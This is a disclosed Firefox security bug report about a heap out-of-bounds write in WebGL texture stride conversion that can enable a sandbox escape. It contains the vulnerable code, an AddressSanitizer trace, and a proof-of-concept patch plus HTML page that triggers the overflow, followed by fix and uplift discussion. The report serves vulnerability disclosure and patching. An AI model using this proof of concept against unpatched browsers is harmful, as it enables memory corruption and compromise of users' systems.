OOBW due to invalid stride size using webgl textures (sandbox escape)
Categories
(Core :: Graphics: CanvasWebGL, defect)
Tracking
()
People
(Reporter: oskarlindberg348, Assigned: lsalzman)
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main146+][adv-esr115.31+][adv-esr140.6+])
Attachments
(1 file)
|
48 bytes,
text/x-phabricator-request
|
RyanVM
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-esr115+
RyanVM
:
approval-mozilla-esr140+
tjr
:
sec-approval+
|
Details | Review |
Writeup follows
Background
Same as for bug 1989127
Vulnerability
Inside the conversion function TexUnpackBlob::ConvertIfNeeded:
...
const auto dstTotalBytes = CheckedUint32(rowCount) * dstStride; // [1]
if (!dstTotalBytes.isValid()) {
webgl->ErrorOutOfMemory("Calculation failed.");
return false;
}
auto dstBuffer = UniqueBuffer::Take(calloc(1u, dstTotalBytes.value())); // [2]
if (!dstBuffer.get()) {
webgl->ErrorOutOfMemory("Failed to allocate dest buffer.");
return false;
}
const auto dstBegin = static_cast<uint8_t*>(dstBuffer.get());
////
// And go!:
bool wasTrivial;
if (!ConvertImage(rowLength, rowCount, srcBegin, srcStride, srcOrigin,
srcFormat, srcIsPremult, dstBegin, dstStride, dstOrigin,
dstFormat, dstIsPremult, srcColorSpace, dstColorSpace,
&wasTrivial)) { // [3]
webgl->ErrorImplementationBug("ConvertImage failed.");
return false;
}
...
- based on the dst stride, we calculate the needed bytes for the temp buffer.
- allocation is taken place with size.
- calling
ConvertImageto do the conversion.
inside ConvertImage:
bool ConvertImage(size_t width, size_t height, const void* srcBegin,
size_t srcStride, gl::OriginPos srcOrigin,
WebGLTexelFormat srcFormat, bool srcPremultiplied,
void* dstBegin, size_t dstStride, gl::OriginPos dstOrigin,
WebGLTexelFormat dstFormat, bool dstPremultiplied,
dom::PredefinedColorSpace srcColorSpace,
dom::PredefinedColorSpace dstColorSpace,
bool* const out_wasTrivial) {
...
const uint8_t* srcItr = (const uint8_t*)srcBegin;
const uint8_t* const srcEnd = srcItr + srcStride * height;
uint8_t* dstItr = (uint8_t*)dstBegin;
ptrdiff_t dstItrStride = dstStride;
if (shouldYFlip) {
dstItr = dstItr + dstStride * (height - 1);
dstItrStride = -dstItrStride;
}
bool sameColorSpace = (srcColorSpace == dstColorSpace);
if (srcFormat == dstFormat &&
premultOp == WebGLTexelPremultiplicationOp::None && sameColorSpace) {
// Fast exit path: we just have to memcpy all the rows.
const auto bytesPerPixel = TexelBytesForFormat(srcFormat);
const size_t bytesPerRow = bytesPerPixel * width; // [1]
while (srcItr != srcEnd) {
memcpy(dstItr, srcItr, bytesPerRow); // [2]
srcItr += srcStride;
dstItr += dstItrStride;
}
return true;
}
- Copy size is calculated to be the minimal source stride (bpp * width).
- Actual copy using memcpy.
The vulnerability being that if we allocate by the dst stride, which if happens to be smaller then the source minimal stride. we can write out of the allocated space.
We can create this kind of stride with an external shared surface using the PCompositorManager actor.
mozilla::ipc::IPCResult CompositorManagerParent::RecvAddSharedSurface(
const wr::ExternalImageId& aId, SurfaceDescriptorShared&& aDesc) {
if (NS_WARN_IF(!OwnsExternalImageId(aId))) {
MOZ_ASSERT_UNREACHABLE("Wrong namespace?");
return IPC_OK();
}
SharedSurfacesParent::Add(aId, std::move(aDesc), OtherPid());
StaticMonitorAutoLock lock(sMonitor);
uint32_t resourceId = static_cast<uint32_t>(wr::AsUint64(aId));
MOZ_RELEASE_ASSERT(mLastSharedSurfaceResourceId < resourceId);
mLastSharedSurfaceResourceId = resourceId;
sMonitor.NotifyAll();
return IPC_OK();
}
Asan report
Truncated asan report follows:
==122369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000c31180 at pc 0x58c1b2d58d5e bp 0x785d276b1250 sp 0x785d276b0a10
WRITE of size 16384 at 0x511000c31180 thread T64
[Parent 122369, Main Thread] WARNING: gdk_wayland_window_set_dbus_properties_libgtk_only: assertion 'GDK_IS_WAYLAND_WINDOW (window)' failed: 'glib warning', file /home/user/Downloads/firefox/toolkit/xre/nsSigHandlers.cpp:201
(firefox-default:122369): Gdk-CRITICAL **: 19:08:36.306: gdk_wayland_window_set_dbus_properties_libgtk_only: assertion 'GDK_IS_WAYLAND_WINDOW (window)' failed
#0 0x58c1b2d58d5d in __asan_memcpy /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
#1 0x785d755f4725 in mozilla::ConvertImage(unsigned long, unsigned long, void const*, unsigned long, mozilla::gl::OriginPos, mozilla::WebGLTexelFormat, bool, void*, unsigned long, mozilla::gl::OriginPos, mozilla::WebGLTexelFormat, bool, mozilla::dom::PredefinedColorSpace, mozilla::dom::PredefinedColorSpace, bool*) /home/user/Downloads/firefox/dom/canvas/WebGLTexelConversions.cpp:483:7
#2 0x785d7542093c in mozilla::webgl::TexUnpackBlob::ConvertIfNeeded(mozilla::WebGLContext const*, unsigned int, unsigned int, mozilla::WebGLTexelFormat, unsigned char const*, long, mozilla::WebGLTexelFormat, long, unsigned char const**, mozilla::UniqueBuffer*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:468:8
#3 0x785d754277da in mozilla::webgl::TexUnpackSurface::TexOrSubImage(bool, bool, mozilla::WebGLTexture*, int, mozilla::webgl::DriverUnpackInfo const*, int, int, int, mozilla::webgl::PackingInfo const&, unsigned int*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:1220:8
#4 0x785d7562c463 in mozilla::WebGLTexture::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int> const&, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) /home/user/Downloads/firefox/dom/canvas/WebGLTextureUpload.cpp:1108:14
#5 0x785d7555d85f in mozilla::WebGLContext::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int>, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) const
0x511000c31180 is located 0 bytes after 256-byte region [0x511000c31080,0x511000c31180)
allocated by thread T64 here:
#0 0x58c1b2d5b059 in calloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:75:3
#1 0x785d754208c5 in mozilla::calloc(mozilla::ForbidNarrowing<unsigned long>, mozilla::ForbidNarrowing<unsigned long>) /home/user/Downloads/firefox/dom/canvas/WebGLTypes.h:86:10
#2 0x785d754208c5 in mozilla::webgl::TexUnpackBlob::ConvertIfNeeded(mozilla::WebGLContext const*, unsigned int, unsigned int, mozilla::WebGLTexelFormat, unsigned char const*, long, mozilla::WebGLTexelFormat, long, unsigned char const**, mozilla::UniqueBuffer*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:457:39
#3 0x785d754277da in mozilla::webgl::TexUnpackSurface::TexOrSubImage(bool, bool, mozilla::WebGLTexture*, int, mozilla::webgl::DriverUnpackInfo const*, int, int, int, mozilla::webgl::PackingInfo const&, unsigned int*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:1220:8
#4 0x785d7562c463 in mozilla::WebGLTexture::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int> const&, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) /home/user/Downloads/firefox/dom/canvas/WebGLTextureUpload.cpp:1108:14
#5 0x785d7555d85f in mozilla::WebGLContext::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int>, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) const
SUMMARY: AddressSanitizer: heap-buffer-overflow
We can see a write of 0x4000 (4 times the specified width of 0x1000 = minimal stride size) on the memory allocated in ConvertIfNeeded.
Implications
Similar to previous bugs, its under the PCanvasManager, hence, its hosted by the gpu on windows, which can be escalated to be hosted by the browser.
and on linux it hosted on the browser from the get-to.
This vulnerability leads to write of arbitrary size out of bounds on latest firefox and is a cross-platform vulnerability.
Reproduction
- Apply the patch:
diff --git a/dom/canvas/ClientWebGLContext.cpp b/dom/canvas/ClientWebGLContext.cpp
index 5710633acd0e..4afd1c080c28 100644
--- a/dom/canvas/ClientWebGLContext.cpp
+++ b/dom/canvas/ClientWebGLContext.cpp
@@ -16,6 +16,7 @@
#include "WebGLFormats.h"
#include "WebGLMethodDispatcher.h"
#include "WebGLTextureUpload.h"
+#include "WebGLTypes.h"
#include "WebGLValidateStrings.h"
#include "gfxCrashReporterUtils.h"
#include "js/PropertyAndElement.h" // JS_DefineElement
@@ -32,16 +33,22 @@
#include "mozilla/dom/WebGLContextEvent.h"
#include "mozilla/dom/WorkerCommon.h"
#include "mozilla/gfx/CanvasManagerChild.h"
+#include "mozilla/gfx/Point.h"
#include "mozilla/gfx/Swizzle.h"
+#include "mozilla/gfx/Types.h"
#include "mozilla/gfx/gfxVars.h"
#include "mozilla/ipc/Shmem.h"
#include "mozilla/layers/CompositableForwarder.h"
#include "mozilla/layers/CompositorBridgeChild.h"
#include "mozilla/layers/ImageBridgeChild.h"
+#include "mozilla/layers/LayersSurfaces.h"
#include "mozilla/layers/OOPCanvasRenderer.h"
+#include "mozilla/layers/SharedSurfacesChild.h"
+#include "mozilla/layers/SourceSurfaceSharedData.h"
#include "mozilla/layers/TextureClientSharedSurface.h"
#include "mozilla/layers/WebRenderCanvasRenderer.h"
#include "mozilla/layers/WebRenderUserData.h"
+#include "mozilla/webrender/WebRenderTypes.h"
#include "nsContentUtils.h"
#include "nsDisplayList.h"
@@ -4590,6 +4597,17 @@ void ClientWebGLContext::TexImage(uint8_t funcDims, GLenum imageTarget,
RefPtr<layers::Image> keepAliveImage;
RefPtr<gfx::SourceSurface> keepAliveSurf;
+ auto surface = MakeRefPtr<gfx::SourceSurfaceSharedData>();
+ surface->Init(gfx::IntSize(0x1000, 1), 0x100,
+ gfx::SurfaceFormat::R8G8B8A8); // Oskar: stride is less then
+ // min stride of 0x1000 * 4
+
+ auto sdb = layers::SurfaceDescriptorExternalImage(
+ wr::ExternalImageSource::SharedSurfaces, surface->GetImageId());
+ desc->sd.emplace(sdb);
+ desc->size = uvec3(0, 0, 1);
+ desc->unpacking.flipY = true; // Oskar: we need this to trigger conversion.
+ desc->applyUnpackTransforms = true;
if (desc->sd) {
const auto& sd = *(desc->sd);
const auto sdType = sd.type();
diff --git a/gfx/layers/SourceSurfaceSharedData.cpp b/gfx/layers/SourceSurfaceSharedData.cpp
index 10498c0230ef..1165601ec301 100644
--- a/gfx/layers/SourceSurfaceSharedData.cpp
+++ b/gfx/layers/SourceSurfaceSharedData.cpp
@@ -160,6 +160,7 @@ bool SourceSurfaceSharedData::Init(const IntSize& aSize, int32_t aStride,
mStride = aStride;
mFormat = aFormat;
+
size_t len = GetAlignedDataLength();
mBufHandle = ipc::shared_memory::Create(len);
mBuf = std::make_shared<ipc::MutableOrReadOnlySharedMemoryMapping>(
@@ -169,7 +170,7 @@ bool SourceSurfaceSharedData::Init(const IntSize& aSize, int32_t aStride,
}
if (aShare) {
- layers::SharedSurfacesChild::Share(this);
+ layers::SharedSurfacesChild::Share(this, mExternalId);
}
return true;
diff --git a/gfx/layers/SourceSurfaceSharedData.h b/gfx/layers/SourceSurfaceSharedData.h
index d442c009301c..e551e92b46fc 100644
--- a/gfx/layers/SourceSurfaceSharedData.h
+++ b/gfx/layers/SourceSurfaceSharedData.h
@@ -12,6 +12,7 @@
#include "mozilla/Mutex.h"
#include "mozilla/ipc/SharedMemoryHandle.h"
#include "mozilla/ipc/SharedMemoryMapping.h"
+#include "mozilla/webrender/webrender_ffi.h"
#include "nsExpirationTracker.h"
namespace mozilla {
@@ -156,6 +157,7 @@ class SourceSurfaceSharedData : public DataSourceSurface {
SurfaceType GetType() const override { return SurfaceType::DATA_SHARED; }
IntSize GetSize() const final { return mSize; }
SurfaceFormat GetFormat() const final { return mFormat; }
+ wr::ExternalImageId& GetImageId() { return mExternalId; } // Oskar - added public member to fetch id.
void SizeOfExcludingThis(MallocSizeOf aMallocSizeOf,
SizeOfInfo& aInfo) const final;
@@ -338,6 +340,7 @@ class SourceSurfaceSharedData : public DataSourceSurface {
std::shared_ptr<mozilla::ipc::MutableOrReadOnlySharedMemoryMapping> mBuf;
std::shared_ptr<mozilla::ipc::MutableOrReadOnlySharedMemoryMapping> mOldBuf;
SurfaceFormat mFormat;
+ wr::ExternalImageId mExternalId; // Oskar: added field to fetch shared id.
bool mClosed : 1;
bool mFinalized : 1;
bool mShared : 1;
diff --git a/gfx/layers/ipc/SharedSurfacesChild.cpp b/gfx/layers/ipc/SharedSurfacesChild.cpp
index c05c71633e63..4cf3c22c5a1c 100644
--- a/gfx/layers/ipc/SharedSurfacesChild.cpp
+++ b/gfx/layers/ipc/SharedSurfacesChild.cpp
@@ -241,7 +241,7 @@ nsresult SharedSurfacesChild::ShareInternal(SourceSurfaceSharedData* aSurface,
SurfaceFormat format = aSurface->GetFormat();
MOZ_RELEASE_ASSERT(
- format == SurfaceFormat::B8G8R8X8 || format == SurfaceFormat::B8G8R8A8,
+ format == SurfaceFormat::B8G8R8X8 || format == SurfaceFormat::B8G8R8A8 || format == gfx::SurfaceFormat::R8G8B8A8,
"bad format");
data->MarkShared(manager->GetNextExternalImageId());
- Host the following
index.htmlto trigger the patch:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Bitmap to WebGL2 Texture</title>
<style>
body {
font-family: sans-serif;
display: flex;
flex-direction: column;
align-items: center;
margin: 20px;
}
canvas {
border: 1px solid black;
margin-top: 20px;
}
</style>
</head>
<body>
<h1>Bitmap to WebGL2 Texture</h1>
<p>This example creates a 2x2 bitmap and renders it as a texture on the canvas.</p>
<canvas id="main-canvas" width="400" height="400"></canvas>
<script>
const mainCanvas = document.getElementById('main-canvas');
const gl = mainCanvas.getContext('webgl2');
if (!gl) {
alert("WebGL2 not supported.");
}
// Create a simple 2x2 pixel bitmap using ImageData
const width = 2;
const height = 2;
const pixelData = new Uint8ClampedArray([
255, 0, 0, 255, // Red pixel
0, 255, 0, 255, // Green pixel
0, 0, 255, 255, // Blue pixel
255, 255, 0, 255 // Yellow pixel
]);
const imageData = new ImageData(pixelData, width, height);
// Asynchronously create an ImageBitmap from the ImageData
createImageBitmap(imageData)
.then(imageBitmap => {
// Now upload the ImageBitmap to a WebGL texture
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
// This is the key function call for the bitmap upload
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageBitmap);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
// Render the textured quad
render(texture);
})
.catch(e => {
console.error("Could not create ImageBitmap:", e);
});
function render(texture) {
// Set up the shaders
const vsSource = `#version 300 es
in vec4 a_position;
in vec2 a_texcoord;
out vec2 v_texcoord;
void main() {
gl_Position = a_position;
v_texcoord = a_texcoord;
}`;
const fsSource = `#version 300 es
precision highp float;
uniform sampler2D u_texture;
in vec2 v_texcoord;
out vec4 outColor;
void main() {
outColor = texture(u_texture, v_texcoord);
}`;
const vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource);
const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource);
const program = createProgram(gl, vertexShader, fragmentShader);
gl.useProgram(program);
// Create a buffer for a full-screen quad
const positions = new Float32Array([
-1, -1, 0, 0,
-1, 1, 0, 1,
1, -1, 1, 0,
1, 1, 1, 1,
]);
const positionBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
gl.bufferData(gl.ARRAY_BUFFER, positions, gl.STATIC_DRAW);
const positionAttributeLocation = gl.getAttribLocation(program, 'a_position');
gl.enableVertexAttribArray(positionAttributeLocation);
gl.vertexAttribPointer(positionAttributeLocation, 2, gl.FLOAT, false, 4 * Float32Array.BYTES_PER_ELEMENT, 0);
const texcoordAttributeLocation = gl.getAttribLocation(program, 'a_texcoord');
gl.enableVertexAttribArray(texcoordAttributeLocation);
gl.vertexAttribPointer(texcoordAttributeLocation, 2, gl.FLOAT, false, 4 * Float32Array.BYTES_PER_ELEMENT, 2 * Float32Array.BYTES_PER_ELEMENT);
// Bind the texture and set the uniform
gl.activeTexture(gl.TEXTURE0);
gl.bindTexture(gl.TEXTURE_2D, texture);
const textureLocation = gl.getUniformLocation(program, "u_texture");
gl.uniform1i(textureLocation, 0);
// Draw the quad
gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
gl.clearColor(0.0, 0.0, 0.0, 1.0);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
}
// Helper functions
function createShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
function createProgram(gl, vertexShader, fragmentShader) {
const program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
console.error('Unable to initialize the shader program: ' + gl.getProgramInfoLog(program));
return null;
}
return program;
}
</script>
</body>
</html>
Found by manual auditing.
Updated•11 months ago
|
Comment 2•11 months ago
|
||
Maybe Ashley or Lee want to look into this?
| Assignee | ||
Updated•11 months ago
|
| Assignee | ||
Comment 3•11 months ago
|
||
Updated•11 months ago
|
Updated•11 months ago
|
| Assignee | ||
Updated•11 months ago
|
| Assignee | ||
Comment 4•11 months ago
|
||
Comment on attachment 9522803 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Unknown
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Comment 5•11 months ago
|
||
The fix here is just to validate that strides passed in to ConvertIfNeeded are actually large enough for the desired format and width.
Updated•11 months ago
|
Updated•11 months ago
|
Comment 8•10 months ago
|
||
sec approvals are paused until after the release - whattrainisitnow shows the date of the last sec approval for every release. Once the merge happens they will resume :)
| Assignee | ||
Comment 9•10 months ago
•
|
||
(In reply to Tom Ritter [:tjr] from comment #8)
sec approvals are paused until after the release - whattrainisitnow shows the date of the last sec approval for every release. Once the merge happens they will resume :)
I requested before the deadline shown. So is the deadline not accurate?
Comment 10•10 months ago
|
||
(In reply to Lee Salzman [:lsalzman] from comment #9)
(In reply to Tom Ritter [:tjr] from comment #8)
sec approvals are paused until after the release - whattrainisitnow shows the date of the last sec approval for every release. Once the merge happens they will resume :)
I requested before the deadline shown. So is the deadline not accurate?
Ah, I hadn't noticed that; sorry - I think what happened is that I was OOTO at the time, and Dan went OOTO at the end of the workday on 10/27; and sec-approval was not covered for the last two days. Obviously not ideal, we'll discuss it to make sure it doesn't happen again.
Updated•10 months ago
|
Comment 11•10 months ago
|
||
Comment on attachment 9522803 [details]
(secure)
Approved to land, but given how obvious the patch is and the flexibility of an arbitrary length, arbitrary value (AIUI) I'd like to delay landing this until Nov 20 or 21.
Updated•10 months ago
|
Updated•10 months ago
|
Comment 12•10 months ago
|
||
9 days ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-landing 2025-11-20] .
lsalzman, please refer to the original comment to better understand the reason for the reminder.
| Assignee | ||
Updated•10 months ago
|
| Assignee | ||
Comment 13•10 months ago
|
||
Comment on attachment 9522803 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency:
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Adds a size check.
- String changes made/needed:
- Is Android affected?: Yes
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined: Possible arbitrary memory overwrite.
- Fix Landed on Version:
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Adds a size check.
Comment 14•10 months ago
|
||
Comment 15•10 months ago
|
||
Comment 16•10 months ago
|
||
Comment on attachment 9522803 [details]
(secure)
Approved for 146.0b7, 140.6esr, and 115.31esr.
Comment 17•10 months ago
|
||
| uplift | ||
Comment 18•10 months ago
|
||
| uplift | ||
Updated•10 months ago
|
Comment 19•10 months ago
|
||
| uplift | ||
Updated•10 months ago
|
Updated•10 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•3 months ago
|
Description
•